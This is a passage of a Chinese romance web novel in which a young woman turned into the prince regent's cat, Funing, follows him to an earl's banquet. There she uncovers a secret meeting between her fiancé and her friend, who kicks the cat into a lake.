谢珩玉的神色朝白昼斜去,无半点温煦之色,语气质疑,“何曾冷待?”
白昼面对质问,低下头不敢与王爷对视,硬着头皮发言,“王爷,太医说您血气方刚,至今未有妻妾,建议您——”
话未尽,桌面传来“嘭”的一声,白昼感觉周身都似乎变得凉寒,抬眸对上王爷冷峻的侧颜,立马噤声。
谢珩玉没有看他,警告道:“此事不许再提。”
白昼心里苦,王爷都二十三岁了,想女人也是正常事啊!为啥要觉得丢脸呢?
就算不让提,可太医已经知道了,换床单的下人也知道了……
被打断之后,白昼都忘了方才说到了哪,亦不打算再开口说话,省得又惹怒面前这位喜怒无常的主。
倒是谢珩玉,等得没了耐心,“你还没说,本王哪里冷待她了。”
白昼这才记起刚才要说的话,“属下的意思是,太医没说您不能养猫啊,何况小福也没做错什么,日日都养在您身边,您说远离就远离,正常小猫都会难过的。”
“是吗。”谢珩玉低下头,沉思了会儿。
他拧起眉,双眸透着犹豫,本是想等一段日子,叫他至少忘了昨夜的梦。
可,白昼说的也没错。
他忍不住发出一声叹息,心中做出退让,起身朝着隔壁屋子去了。
进屋时,趴在床榻上的福宁正在揉眼睛。
她刚才打了个盹,梦到崔兰亭戴着她送的玉笄,和别的女子私会,而那女子的身形很像娇娇。
福宁觉得自己是被气得魔怔了,娇娇才不会背叛她。
她嘴角向下,小脸装满了委屈,白色的爪子捂着眼,脑袋也跟着抽了抽,发出几声若有若无的呜咽。
太难受了!
怎么安慰自己都无济于事,心里沉沉的。
而后放下爪子,曾经圆乎乎的蓝宝石双眸,此刻黯然得盛着忧伤的雾色,仿佛下一瞬就会流下泪来。
这小可怜的模样,看得谢珩玉面色凝重。
站在后面的白昼亦觉揪心,并得出结论:“王爷,小福是真的离不开您啊!”
谢珩玉拢了拢眉,长腿一迈,朝床榻边过去。
福宁还难受着呢,小耳朵一动,听着声了,扬起头才发现房内杵着两个男人!
刚才还冷漠至极的摄政王这会儿正朝她走来。
???
她眸中伤感,很快被惊奇替代。
明明被未婚夫背叛的是她,可她怎么觉得,今天的摄政王情绪变化得比她还快?
真是一会儿一个样啊!
是谁说再也不要抱她了?现在向她伸手干什么?
福宁眼看着谢珩玉弯腰,朝她伸手,她冷眼瞥了瞥他的手掌,没有走过去。
谢珩玉只当她闹小脾气了,干脆双手去抱她。
还不曾碰到雪白的毛发,就听白昼在边上出主意——
“王爷,小福亲近您,这几个月,把您当爹一样的,刚才被冷待了,肯定是想要您哄一哄呢。”
……
也不知道是哪个字眼刺激了谢珩玉,福宁仰着头,只见他转眼就变了脸,从温和回到了冷漠,就和刚才说不要抱她的时候,是一样的。
哦不,现在脸更黑一点。
福宁愈发好奇,忍不住抬起爪子,这次不是揉眼睛,而是挠耳朵。
她真的好想问,摄政王今天是发什么毛病了?
“喵呜喵呜~”
谢珩玉听着她“讨好”的叫声,耳旁却仿佛还回响着白昼的话。
将他当爹一样……
第15章 摄政王的真香现场
谢珩玉心中烦闷,说不清是对白昼的愤怒,还是对自己的懊恼,一瞬间,心脏被罪恶感填满。
他闭了闭眼,再睁开时,双眼变得无情,收回双手,不再去抱她。
站在后面的白昼没看见他的脸色,不明所以,“王爷,怎么了?”
谢珩玉不理会,扭头大踏步朝房外而去,速度快得像是逃离。
福宁瞪着大大的眼睛,又挠挠头:……
看着两个打断她悲伤的男人相继离去,实在止不住好奇,她一跃跳下榻,踩着猫步子悄悄跟上。
只跟到了门槛边,她看见谢珩玉在庭院的石桌前坐下,他一只手紧握着拳,像是隐忍着什么,脸色很差,不知道的还以为他头很痛。
此时,摄政王府的管家拿着一个帖子,匆匆走来,“王爷,寿安伯府送请柬来了。”
谢珩玉另一只手揉着太阳穴,毫不犹豫,“回绝。”
管家又道:“送帖子的人说,江伯爷特意为王爷准备了惊喜。”
“惊喜?”谢珩玉的嘴角勾起冷笑,内心毫无波澜。
白昼谨慎道:“王爷,这寿安伯平庸至极,如今有了皇后赐婚,难保不会借您的名义拉拢朝臣,据属下所知,他府上的茶话宴原是女眷所办,但今日下朝后,临时又发了许多请柬出去。”
谢珩玉漫不经心地开口,“发给了谁。”
白昼:“一些朝中大臣,连从前来往少的,也发了请柬,比如,长平侯府。”
谢珩玉对此不感兴趣,这帮人,只让他觉得烦。
他将右手肘撑在石桌上,手背抵着太阳穴的位置,头一偏,恰好与趴在门槛上的小猫对视上。
福宁还沉浸在白昼的话里。
崔家迫不及待地想向寿安伯卖好,想与伯府结亲,必不会拒绝伯府宴请。
那崔兰亭呢?
他会去吗?
她正想着,目光便撞进了谢珩玉深邃的眼中。
这次福宁学聪明了,她是猫,偷听是正大光明的,躲也不躲,迎着他的目光与他对视。
岂料,谢珩玉率先偏开了头,语气讥讽,“他要给本王的惊喜,莫不是结党营私?”
“去瞧瞧。”
说着,他起身,下人将摄月剑奉上,谢珩玉将其挂在腰侧。
福宁有心想知道崔兰亭会不会去,两步跳出门槛,管家只见一抹白色的灵活的小影子飞过。
她也得去看看!
福宁跟上谢珩玉,寻着机会一跃而起,跳到谢珩玉的大腿后部。
可惜他的裤子外头是**袍下摆,福宁没法两手抱住,只能用四个爪的指甲勾着,悬挂他腿上。
几乎是跳上去的同一时刻,谢珩玉就感受到了,他却刻意没停,不想理会,等她自己掉下去。
奈何,快走到府邸门口了,她还挂在那儿。
他每走一步,她便在他的腿上晃两下。
感觉到要抓不住时,再找准时机,往上攀爬,一路直接爬到他的肩膀,居高临下地睥睨着。
像个王一样。
谢珩玉终于停下步来,抬起右手捏住她的后颈,欲将她提起放下。
福宁早有察觉,伸出毛茸茸的两条前腿,收起指甲,抱住他的脖颈。
谢珩玉感受到脖颈处的软**,奇怪的酸麻感流窜全身。
就像命脉被别人握住,他不喜欢这种感觉,遂加大力气去提她,“下来。”
但仍他怎么提溜,福宁也不撒手,被拧痛了,便使劲嚎,“喵儿!喵儿!”
还是谢珩玉先松开手。
贴着皮肤,福宁感受到他的喉结动了下。
咦?
她大概是手痒,想去抓一下。
爪爪甫一抬起,就被谢珩玉迅速抓住。
一个没抱稳,猫身从他的肩上往下滑去,途经他的胸膛……最后一屁股跌坐在他的臂腕里,头顶响起他的叹息,好像很无奈的样子。
白昼:“王爷,小福也很久没出府了。”
天呐,白昼今天怎么这么好!
福宁心里拼命点头。
谢珩玉没有温度地看了眼怀里窝着不动的小猫,下令:“备马车。”
下人准备得很快,福宁被单独放在了专属于摄政王的奢华马车里,而摄政王本人去骑马了。
随行的还有王府亲卫,浩浩荡荡地排列两侧,以及马车后方,呈包围状。
不知道的,还以为马车里的才是摄政王呢!
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*
寿安伯府门庭若市,车马不绝。
管家正在门前迎客,远远地,见到带着摄政王府标志旗帜的车马,忙不迭地狂奔回府通知寿安伯。
闻言,寿安伯大喜。
虽说给王府发了请柬,但是摄政王在下朝后明确拒绝过,现在来了简直是意外之喜。
夫妇俩急赶去府邸外迎接。
这个消息,也引起府内宾客轰动。
要知道,摄政王性格冷漠,除了陛下让他参加的宫宴,平日哪怕是京中宗室权贵举办的宴会,也是很难看见他露面的。
如今,摄政王竟给一个没落伯爵面子,众人一想就知道,定是给了未来王妃的面子。
看来,传言不假,摄政王果真是打心底里,满意这位准王妃啊!
宾客面面相觑,心中有了计较。
另一边。
寿安伯夫妇赶在了车队停下前,抵达门外迎接。
“老爷,没想到王爷这般重视咱家娥娥。”伯夫人受宠若惊,一边低头整理仪容。
寿安伯抑制不住的喜悦,主动上前,到摄政王的马边,“王爷光临,微臣有失远迎,还请王爷恕罪。”
伯夫人福身,“臣妇参见王爷。”
谢珩玉也不看人,随意地小幅度摆摆左手,身后的白昼充当译员:
“王爷说免礼。”
寿安伯点点头,身体还是没有挺直,伸出双手欲扶谢珩玉下马。
“不必。”谢珩玉言简意赅,翻身从另一侧下马。
寿安伯来不及尴尬,只见摄政王的目光落在后方马车上,寿安伯夫妇俩这时才惊觉,向来骑马出行的摄政王,此番还带了马车。
马车里有人!
能坐上摄政王的专属马车的人,绝不会是什么寻常人物,难道是陛下的哪位公主?
是了,也只有公主之尊,能有此待遇了!
公主趁此机会来见一见未来的皇嫂,很合理,更是彰显了皇家对伯府、对娥娥的看重。
寿安伯夫妇相视一眼,都从对方眼中看出了笃定,遂,夫妇俩又快步赶向马车边。
寿安伯躬身作揖,只等待会车门开了,看清是哪位公主后,能及时行礼。
第16章 把福宁当成公主拜
谢珩玉见状,没说什么,只给白昼使了眼色,让白昼去抱猫出来。
车厢关**,连窗户都打不开。
车内的福宁能感觉到马车早就停了,听着外面的寂静,她心一慌,他们不会自己进去了,把她忘在马车里了吧?
她走到门边,附耳在车门上倾听。
突然,门外传来白昼的声音,“伯爷、伯夫人,不必如此。”
“不不不,”寿安伯坚持道,“礼数不可废。”
他们说啥呢?福宁琢磨不透。
一阵风忽然从耳边吹过,车门从外打开,她的耳朵暴露在了风中。
白昼刚好对上她这副贼兮兮的样子,想笑。
而寿安伯夫妇,因为被车门挡住,看不清里面的“人”,也不敢贸然直视,还保持着原本姿势。
福宁往外踏了两小步,往门外探头先瞧一眼。
两颗脑袋毕恭毕敬地垂着。
是江伯伯和江伯母。
这这这是干嘛?
她睁着大眼睛,听着他们齐声道——
“微臣/臣妇参见——”
恭敬的言语戛然而止,寿安伯夫妇此刻抬了头,与福宁迷茫的视线交汇,他们震惊地止了声。
“怎么是……”寿安伯觉得尴尬极了,车内竟不是公主,“猫?”
还是伯夫人反应快些,“素闻王爷有只心尖宠,今日竟带来了,也是巧了,我家娥娥最喜欢猫。”
寿安伯打哈哈,“是啊,来,我来抱吧!”
只是几个瞬息的功夫,福宁就看见寿安伯夫妇脸色变了好几次。
看着他们伸手要抱她,她往后退了一步。
江伯伯也是拜高踩低的人,她可认清了呢!
福宁飞快从两人的中间穿过,甩着腿跳下马车,从谢珩玉的面前窜过,狂奔进伯府。
这可不是在王府的时候了,福宁对寿安伯府内的布局,熟悉的很呢。
连白昼都追不上她,“小祖宗你去哪——”
寿安伯立即表示:“王爷放心,微臣这便交代下去,不让任何人伤到您的猫。”
谢珩玉倒不担心,“拿些黄金诱她即可。”
跟在后头的寿安伯一个踉跄,又站稳跟上,若非摄政王的语气正经,他都怀疑是在开玩笑了。
黄金诱猫?
摄政王的意思,肯定不是字面这么简单。
寿安伯示意管家带着王爷去宴席入座,自己则停留原地,告诉妻子,“王爷许是手头不宽裕了,如今我们与王爷将成为姻亲,也当表示表示。”
伯夫人慎重地问,“可是今儿府上这么多人,这么多双眼睛盯着……”
“这不才要猫当幌子吗,”寿安伯双目闪过精明之色,单手捋直胡子,“待会找到猫,弄些黄金套她身上,再让娥娥来,就说是娥娥找到了猫,猫找到了黄金,既叫娥娥在王爷面前博了好感,又能让王爷名正言顺带走黄金。”
伯夫人犹豫,“但是娥娥毕竟是姑娘家,是不是该矜持些,反正王爷心悦她。”
寿安伯坚持,“不,王爷想要什么没有,光靠一时的喜欢是不行的,切不可端着让王爷没了兴趣。”
*
那厢,福宁照着记忆中的路线,跑到了江月娇的院子。
她躲在屋外的草丛中、窗台下。
算起来,她好多日没见过娇娇了。
这些天,因着家里的事,还有变成猫的惊险奇遇、崔家退婚,简直度日如年。
日后有机会,她定要与娇娇好好说说。
昔日,娇娇的话,犹在福宁耳边:
“皎皎,你最近瞧见崔兰亭了吗,我听说许多世族子弟到了年纪都喜欢去勾栏酒肆,你可得小心些。”
“崔兰亭这个人,对旁人总是一副疏离的模样,如今他是喜欢你,若日后不喜欢你了,恐怕对你也是如此。”
“崔家高门大户,等你嫁过去,他还未必护得住你,要我说,他崔兰亭有什么好,还不如嫁个知心温柔的,赵伯父好些个学生,皎皎随便选一个,谁敢对你不好。”
“我看他就不是专一的人,只怕会负了你,要不我替你试探试探?”
当时,福宁是拒绝了的。
甚至因为娇娇总要说崔兰亭的坏话,她们有阵子还闹过不开心,再往后娇娇
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就不说了。
如今看来,娇娇说得不完全是错的。
无人关注的草丛中,一只小猫趴着,正上方,是伯府二小姐的闺房窗台。
两扇窗户大开,窗前,穿着淡紫色襦裙的少女正亲自描着上弦月状的花钿。
江月娇长相明媚,却梳着不能放大她美貌的垂挂髻,两侧披散的头发,还扎了几只小辫子。
她对着铜镜,双眸中充斥着对自己容貌的焦虑,好不容易化成的花钿,她并不满意,擦了再重画,语气急躁地向丫鬟确认,“皎皎今天不来了?”
心腹丫鬟丹心回复:“是,赵大人已经被革职在家,还挨了板子,如今老爷取代了赵大人的位子,大小姐也将成为摄政王妃,小姐再不用屈居赵小姐之下。”
福宁听闻,不可置信地抬头望着窗台,什么叫屈居她之下?
这个角度看不见娇娇,可她不解,为何娇娇的丫鬟要这么说话。
即便爹爹的官职曾在江伯伯之上,可她从未委屈过娇娇啊!
随即,便听嘭的一声,房中像是砸了什么东西。
“闭嘴!”江月娇的声音听不出欢喜,“往后别再让我听见这种话。”
窗台下,神经紧绷的小猫咪,松了口气。
还好,娇娇还是娇娇。
娇娇才不会那么想呢。
福宁继续窝在草丛中,自知当下的自己不可能与娇娇相认,她忽然有些唾弃自己。
明明心里是相信娇娇的,可是来了伯府,第一时间却是跑来娇娇的闺房偷听。
或许潜意识里,她还是担心害怕的,怕娇娇与崔兰亭,一起背叛她。
她怎么能,不相信娇娇呢……
就在福宁唾弃自己时,又听房中响起一道脚步声,待脚步声停了,来人禀报道:
“二小姐,长平侯与侯夫人、世子,都来了。”
长平侯府的人来了,下人为何要单独向娇娇禀报?
方才还松了口气的福宁,很快便没法保持乐观了,因为她听见了娇娇透着欢喜的回复——
“他,他真的来了?”
“没与赵福宁一起?”
第17章 我可是摄政王的猫!
“是,”丫鬟回答,“长平侯世子在前院男宾席上,也是怪了,从前只有赵小姐在的时候,世子才来,这次竟——”
“要你多言,赵家现今可配不上侯府了,”丹心看出主子不喜,打断后道,“小姐可要过去?”
疑似说到了江月娇的心坎上,她轻笑一声,“待我将这花钿画好。”
丹心吹捧:“往后摄政王殿下就是小姐的姐夫,小姐您的身份再不是普通官宦公子能攀得起的,您是没瞧见,今日前院来了多少达官贵人,还不是为了攀附咱们伯府,小姐身份尊贵、天生丽质,即便没有这花钿,也能拿下崔世子。”
“你懂什么,”江月娇浅笑着默认了丹心之言,一边勾勒着眉心月状花钿,“他喜欢这轮明月。”
屋内主仆三人笑语晏晏,唯有一人心碎。
至于江月娇口中的明月,福宁清楚得很。
刚及笄那年,有一日她跑去侯府找崔兰亭,他因准备科举在书房温书,她便安安静静地待在书房里练字,一不小心睡着了,等醒来时,额头便出现了一抹形似上弦月的花钿。
正是崔兰亭所画。
当时他说——
皎皎应配明月。
他唤她皎皎,视她为明月。
而对当时的福宁来说,崔兰亭亦是她的明月。
那抹明月画在她的眉心,好看极了,后来她自己学会了画明月花钿,但往后,她再不会画明月。
因为那轮明月,已经在江月娇的额上。
自己的闺中好友,竟觊觎自己的未婚夫多时。
所以那些“善意”的劝告,让她远离崔兰亭的话,不过是江月娇自己想取而代之,才故意引导她的。
难怪,丹心刚才竟敢说幸灾乐祸的话。
若主子不是那个意思,身为丫鬟的又哪敢呢?
闺中好友也背叛了她……哦,准确地说,江月娇不是背叛,是露出了真面目。
江月娇的真面目,一直以来都是有迹可循的,只是曾经的福宁,对此视而不见。
何其可笑。
父亲的朋友,她的朋友,崔家,江家……竟无一人真心相待。
江月娇的动作很快,走出闺房时,面上洋溢着明媚的笑容。
大概是太开心了,都不曾注意到窗台下有一只猫。
福宁看着她走远了些,低头用小猫胳膊肘擦擦脸,才慢慢跟上去。
她倒要看看,江月娇要做些什么!
好在现在是只猫,跟踪也不会被发现。
就算被发现了,她也能明目张胆地“跟踪”,她现在可是摄政王的猫!
福宁跟着走了一段,发现去的根本不是前院的方向。
怎么,难道是要私会?
福宁心里不安,江月娇若是敢约,崔兰亭若是敢应……
她就敢闹得人尽皆知!
反正她现在是摄政王的猫,有的是法子引人过来!
大家都别过日子好了!
跑到一半,草丛中窸窸窣窣的声音越来越明显,福宁仰头,发现围过来的伯府小厮。
嗯?
脊背上蓦地被摸了下,吓得福宁身子弓起。
下一瞬,已经被人抱起在怀里。
女子轻柔的声音响起,没有江月娇的急躁,像是一道和煦的风——
“这,便是摄政王的猫吗?”
那只手,轻轻抚着她的小身体。
福宁忍不住一抖,仰头,入目的是一张堪称绝世的容颜。
是江雪娥,江月娇的嫡长姐。
江雪娥穿着一袭月白长裙,两支白玉珍珠流苏发钗配在垂挂髻上,衬得她柔婉端庄,如下凡织女似的,披散下来的后发柔顺细直,更添几分淑女气质。
福宁对上她的脸,听她轻笑一声,说——
“真可爱。”
说着,还用食指刮了刮福宁粉嫩的鼻尖。
福宁下意识地低头。
诶,不对啊,她还要跟踪江月娇呢!怎么回事!
江雪娥感受到她想跑,用力抓紧了她,问旁边小厮,“黄金呢?”
小厮闻言递上一托盘的金手镯与金链子。
江雪娥轻柔地取过一条链子,系到她乱动的身体上。
福宁没明白,为什么一言不合就往她身上挂黄金?
难道就因为她是摄政王的猫?
这样算是变相**吗?
如果现在原地睡一觉,是不是可以把黄金带回家了呀……
不行!思想危险!
福宁阻止了自
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己的幻想,她可不偷别人的,她只偷摄政王的。
因为太子府的赃物都在摄政王府邸,她又拿不回自己家的字画什么的,所以等价跟他换黄金,也不算有问题……对吧?
对。
福宁点点头,回过神时,身上都套了好几个镯子了。
压得她有些喘不上气了。
江雪娥却还在往上套,直到发现手中毛茸茸呼吸变急,才赶紧取掉一件,“罢了,这些应该够了。”
福宁大口呼吸着,眼睁睁地看着与江月娇所去的方向背道而驰,挣脱不开,被抱去前院。
前院,几十张紫檀木案错落摆着,案上摆满美酒佳肴,到场的非富即贵。
方才还在热络寒暄的官宦同僚、评价哪家勾栏有趣的世家公子,此时鸦雀无声,场面安静得连喝水的声音都尤为明显。
只因,上首坐着一位活阎王。
俗称摄政王。
谢珩玉带来的亲卫各个冷面透着肃杀之气,从两侧排开,刚好呈包围状,将所有宾客围在一个圈内。
这,谁还敢说话?
“砰”
沉重的摄月剑被摆放在案上,谢珩玉的桌案与椅子,都比其他宾客高一倍,他面无表情地落坐,仿佛是没有发现场面的尴尬,靠在椅子上假寐。
宾客们尴尬之际,被视为救星的寿安伯出现了。
寿安伯走到谢珩玉身边,有一瞬间背是挺得笔直的。
要说不骄傲是不可能的,在场诸多官员,要么爵位比他高,要么官比他大,要么前景比他好……可是,能给摄政王说上话的,还不是只有他吗!
寿安伯笑吟吟的,开口时带上讨好语气,“王爷,府中准备了歌舞,现在开场可好?”
谢珩玉没有睁眼,“嗯。”
寿安伯立即挥手。
府中歌姬鱼贯而入,丝竹声响起,扫去寂静的尴尬。
江雪娥踏入庭院时,院中舞姬瞬间黯然失色,所有宾客不由自主地朝她看去,唯有谢珩玉还未睁眼。
福宁听着丝竹声绕耳,脑袋也跟着晃了晃,下一瞬,藏在她身下的那只手,蓦然一掐。
掐得不重,也不是很痛,却因过于突然,吓得她“喵呜”一声。
第18章 被未来王妃抱着争宠
想跑,又**雪娥“温柔”地桎梏怀里。
谢珩玉睁开眼,看见自家小猫哀愁着眼,表情委屈,身上挂了不少黄金……
众目睽睽下,江雪娥仪态万千地走上前,抱着怀中小猫,朝着谢珩玉福身,“臣女参见摄政——”
“王”字还在喉咙里,眼帘中赫然出现一只宽大修长的手,掌心带着习武之人才有的薄茧。
摄政王竟向她伸了手?
想到传言,江雪娥心思一动,难道王爷是让她免礼?或是想亲自扶她?
她受宠若惊。
可这大庭广众,肢体接触还是不太好,她缓缓抬头,“王爷?”
谢珩玉目光落在她怀中的探头小猫身上,他言简意赅,“拿来。”
江雪娥一愣,面上有些不自然,很快掩饰过去,怜爱地看着怀中小猫,“刚才臣女在后院碰着她时,她不知何处寻了这些黄金来,臣女便一道带来了,她乖得很,很很黏臣女呢。”
黏?
福宁惊讶地朝天仰头,入目的是江雪娥的下巴。
人长得美,话怎么瞎说?
她哪里黏了,分明一直都想伺机跑好不好?
江雪娥的话还在继续,“若是王爷不弃,臣女愿意帮王爷照顾小猫。”
福宁感受着黄金的桎梏,闭了闭眼。
不要了吧,感觉会被照顾死。
“不必。”谢珩玉黑着脸拒绝,而后一把将她抓到自己怀里,三两下取掉黄金挂饰。
黄金,被重重地扔在桌案上。
他轻轻抚着她的脊背,确认脊背没有被压坏,而后黑着脸质问,“谁许你把这些东西,套在小福身上?”
江雪娥脸色一白,不知该怎么回答,难道不是王爷暗示的吗?
她不知所措,周围的宾客都在注意着她,她不能失了体面,遂强颜欢笑,“这些,确实是小猫,小福自己找到的。”
谢珩玉冷笑,还欲张口,下身突然被某个爪子踩了一脚,当即止了话头,低头看去。
福宁探头探脑,压根没注意脚下踩的几块肉肉有什么区别,满心思还想着手帕交和未婚夫的背叛,她的眼神扫向全场,寻找崔兰亭。
江月娇的丫鬟说他来了,他若不在这里,就肯定是去找江月娇私会了!
福宁瞪圆的眼睛带着精光,目光扫过斜对面的桌案,看见了熟悉的人。
崔兰亭垂着眸,坐在长平侯身边,不知在想些什么。
福宁盯着他,眼睛一眨不眨,要把人给盯牢了!
她不管以后崔兰亭门当户对的妻子会是谁,但绝对不能是江月娇,她咽不下去这口气。
但崔兰亭既然来了寿安伯府,就说明,早上崔伯母跟他说的话,他是听进去了的。
再看崔兰亭头上那根玉笄,福宁只觉得刺眼。
还戴着她送的东西作甚?难道要戴着她的玉笄,与伯府商谈联姻?
欺人太甚啊!!
福宁实在忍不住,又重重地跺跺爪子。
头顶上忽然响起一道轻轻的“嘶”,还没反应过来谢珩玉在嘶什么,眼前便是一黑。
一只大掌覆盖在眼前,挡住她的视线。
另一只手将她往上抱了抱。
福宁不喜欢看不见东西的感觉,“喵呜”一声表示**,再用额头轻轻撞到他掌心的薄茧上。
奈何他就是不挪开手。
“再动,下次不带你出来。”他警告道。
喂,搞清楚好吗,小福怎么会听懂人话?
但福宁听懂了,消停片刻,实在忍不了了,心思一转,准备用脸上的****去摩擦他掌心。
只要让他痒了,肯定会松手的!
想着,她便开始付出行动。
摩擦的过程中,鼻尖触碰到谢珩玉掌心茧子少的地方。
一下,两下,三下……
又软又嫩的鼻尖,触感像极了舌头。
不对,谢珩玉不知道被舌头舔是什么感觉,只是当下,手心一阵阵发痒,错以为是她在舔自己的掌心,古怪的感觉让他的整条手臂都有些酥麻。
正在此时,寿安伯又走了过来,给站在一旁的长女递了个眼色,后恭敬道:“
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王爷可愿移步?臣为您准备了惊喜。”
当下的谢珩玉哪里能听得进去话,神情亦不正常。
一个不慎,覆在手下的小脑袋就钻了出来。
福宁朝着崔兰亭的方向望去。
这次,空空如也。
人呢?!
她着急地扭头,别人都在,只有崔兰亭不见了。
好哇,真的私会去了!
“嗯……”
她的身体,不自抑地发出不高兴的声音。
不行,她呆不住了,得去抓“奸”了。
趁着谢珩玉松懈,福宁蓄力往地上一跃,在众人的注视下,狂奔出去。
谢珩玉唰地起身。
寿安伯以为他是愿意移步的意思,便做出请的手势,“王爷请随臣来。”
谢珩玉皱眉,“没瞧见本王的猫跑了吗?”
寿安伯语塞,扭头看了眼女儿的绝世容颜,又看向小猫跑掉的方向,于心中感慨,摄政王这么宝贝一只猫,甚至超过自己的女儿,太离谱了!
江雪娥一脸关切,柔声道:“臣女这就命人去将小猫带回来。”
寿安伯:“是啊,王爷不用担心小猫,臣为王爷准备了惊喜,定不叫王爷失望。”
谢珩玉这会儿才听见惊喜,目光从桌案上的黄金上扫过,他倒是很好奇,寿安伯得送多少黄金,才能称得上是惊喜。
他又不是小福,他不喜欢黄金。
谢珩玉压下内心鄙夷,指了几个亲卫去寻小福,自己则跟着寿安伯父女移步,准备看看他们搞什么鬼把戏。
一把摄月剑横于腰侧,周身便无人能靠近,否则会被剑打到。
寿安伯父女隔着一臂距离跟着,指路。
围在宾客外的侍卫们追随而去,庭院内此起彼伏的松气声不断,宾客重新攀谈起来。
“感觉摄政王也不像是心悦江小姐啊。”
“王爷内敛,若换作旁的女子,哪里能靠近王爷身侧呢,也就只有江小姐,方才站那么久。”
“是啊,除了江小姐,还没哪个女子能抱王爷的猫呢!”
第19章 抓奸现场,小福溺水
福宁找了一路,连崔兰亭的影子都没有。
倒是在伯府的小湖泊边看到了江月娇,丹心在不远处放风。
福宁在另一头的草丛中盯梢,一盏茶的功夫也没见崔兰亭出现。
难道她想错了?崔兰亭没有来私会?
然而,就在她打算折返回去之时,听见江月娇笑着喊道:“兰亭哥。”
从前,江月娇从没喊过这么亲密。
而现在,那个笑容都快咧到耳朵上了!
福宁的脑袋往后转,果真看见了崔兰亭往此处走来,带领他的,是江月娇的另一个丫鬟。
呵,腿脚再慢,也还是来私会了。
崔兰亭嘴角轻轻抿着,温和中带着疏离,听到江月娇的称呼,垂了垂眸,脚步未停。
垂下的眸,恰好与草丛中的福宁对视上。
他往边上绕了绕,跟避瘟神似的避开她,然后走到江月娇身边。
福宁伏身,往前挪动几步,死死盯着,准备伺机而动。
崔兰亭站在江月娇面前,隔着半丈距离,“江小姐。”
江月娇似乎是嫌距离不够近,主动往前迈了一步,关切地问道:“兰亭哥,你有皎皎的消息吗,赵伯父被革职,皎皎今日没来,肯定是很难过,毕竟以前当大小姐习惯了,那种落差……哎,恰好又是我爹补了缺,你说她会不会怪我?”
光听这句,福宁的爪心就扣紧了草地,不知不觉,拔了好几根草。
崔兰亭一步没往后退,他看着江月娇额心花钿,神色不变,“她不是那样的人。”
没听到想要的回答,江月娇神情僵硬,咬了咬牙,“皎皎心地善良,可惜我却帮不了她什么,等我长姐当上了摄政王妃,我定寻机会向摄政王求情,赵伯父这些年也不容易,赵家本就是商贾出身,在京城没什么根基,只盼摄政王能看在我家的面子上,重新给赵伯父封官。”
崔兰亭眼角笑意漫得温柔,“江小姐费心了,皎皎知道,定会开心。”
“怎么会费心?”江月娇的声音比平常绵软几分,倒像是含着委屈,“兰亭哥,我与皎皎的情谊,和你与皎皎的情谊,不分高低的。”
似是急于证明自己的情谊,她上前一步,脚下不甚打滑,娇呼一声,朝着崔兰亭的怀里扑去。
崔兰亭下意识揽住少女细腰,五指蜷起。
江月娇顺势搂住他的脖颈,仰起的脸庞泛着红晕,两人的呼吸近在咫尺,她的指尖若有若无地擦过他的颈后肌肤,暧昧极了。
“地滑,当心。”他的声音比平日低沉几分。
他欲松手,江月娇的脸颊贴向他胸膛那片绣着竹节的衣料上,“兰亭哥,我的脚,好像扭到了。”
在福宁的角度,两人是黏在一起了,各自都没松手。
如果眼神能冒火,她就要给这两人烧起来了!
许是贴着地面的缘故,她比放风的丹心更早发现远处响动,转头望去,没看见有人来,但心中笃定附近有人。
再回过头,湖泊边的两人还抱在一块呢!
福宁咬紧腮帮,既然他们不仁,就别怪她不义!
她这就引人来!
“喵呜!”
一声喊叫,引得江月娇一惊,以为有人来了,赶忙松开崔兰亭,一屁股跌坐泥地。
放风的丹心检查周围,“小姐,只是一只猫。”
江月娇松了口气,仰头朝崔兰亭伸手,“兰亭哥,可以扶我一下吗?”
崔兰亭淡定得还是那副谦谦君子模样,抬手去扶。
福宁一个健步狂奔冲刺,临近一丈距离时,一个跳跃,穿梭在两人中间。
江月娇的手正好搭上崔兰亭的手,福宁一脚踩在江月娇的手背上,爪子一挠!再次起跳窜过。
“啊!”江月娇惊叫一声,看着手背上的抓痕,狼狈的脸上闪过杀意,“好疼。”
崔兰亭先将人扶起,从怀里取出一瓶伤药,“先涂药。”
那瓶药,和早上给自己的一模一样。
他倒是大方。
福宁呲牙,毫不犹豫地继续高歌:
“喵呜喵嗷哇嗷眯嗷嗯呜泥儿呜——”撕心裂肺。
这次不带停的,势必要引人过来。
江月娇被喊得心慌慌,面上带着“私通”的心虚,压着声音道:“别叫了!”
福宁不听。
远处,拐角处出现了人影,还不止一个。
“喵啊喵哇眯嗷!”她叫得更欢了。
江月娇哪还有心思涂药,背过身去给两个丫鬟使眼色,“快让她闭嘴!”
两个丫鬟朝着福宁扑去。
福宁一个跑跳躲闪,让丫鬟
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几次都扑了空。
这边刚避开,于空中一个旋转准备跑路,岂料于半空撞上身后之物——
“嘭!”
啪嗒掉在了地上。
福宁睁眼看,撞上的,是不知什么时候走到自己身后的崔兰亭,他清冷淡定地理了理衣袖。
“小福——”她听见有人喊她。
大概是谢珩玉派来寻她的人,被她的叫声吸引过来了。
她爬起身,想朝声源处走去,但腿有点痛,“喵~”
还未顺利走出一步,肚子蓦地吃痛,一股大力将她踹飞出去。
“噗通”
水花四溢。
福宁猝不及防地落水,眸中惊恐,四爪拼命扑腾。
口鼻灌进水,喊不出来了。
福宁看见湖边江月娇慢慢收回脚,听她嫌恶地说:
“叫唤什么。”
而后,沉下水中,没了知觉。
没了猫叫,远处的人,暂时没往这边过来。
江月娇松了口气,但忽然意识到自己的举动都落在了崔兰亭眼中,她唰地抬头,见崔兰亭正凝视自己,着急解释,“兰亭哥,我,我不是故意的,我只是听她太吵,我怕,引人来误会了我们,再传出去让皎皎不高兴,一时慌乱才……”
崔兰亭皱了皱眉,“那,好像是摄政王的猫。”
摄政王的猫?!
江月娇瞪大眼睛,恐惧害怕席卷每个毛孔,“什么,那,那……”
“小福——”几道喊着小福的声音,再次出现,从两个方向来。
崔兰亭不容置喙道:“记住,你今日没有看见过猫。”
江月娇呆愣地点头,身后的两个丫鬟也跟着点头。
“跟我来。”崔兰亭牵起江月娇的手腕,朝着另一个方向走。
江月娇低着头,一步步跟着走,目光落在被牵着的手腕上,嘴角不自抑地露出甜蜜的笑。
崔兰亭也是对她有意思的吧……若非如此,怎么会对她这么好?如果此时表露心意,他会接受吗?
她心中犹豫,再看向他的高大的背,给予她无尽的安全感,让她从紧张害怕的情绪中脱离,很快忘了自己“杀害”了一只猫,只知道,等以后他成为自己的未婚夫,他的温柔便只对她一人展露。
不再有赵福宁什么事了。
*
第20章 福宁营救小福,惨遭冤枉
床榻上的少女猛然睁开一双眼,望着天花板呆愣一个瞬息,才从水下窒息的绝望中脱离。
她回来了。
那小福呢?
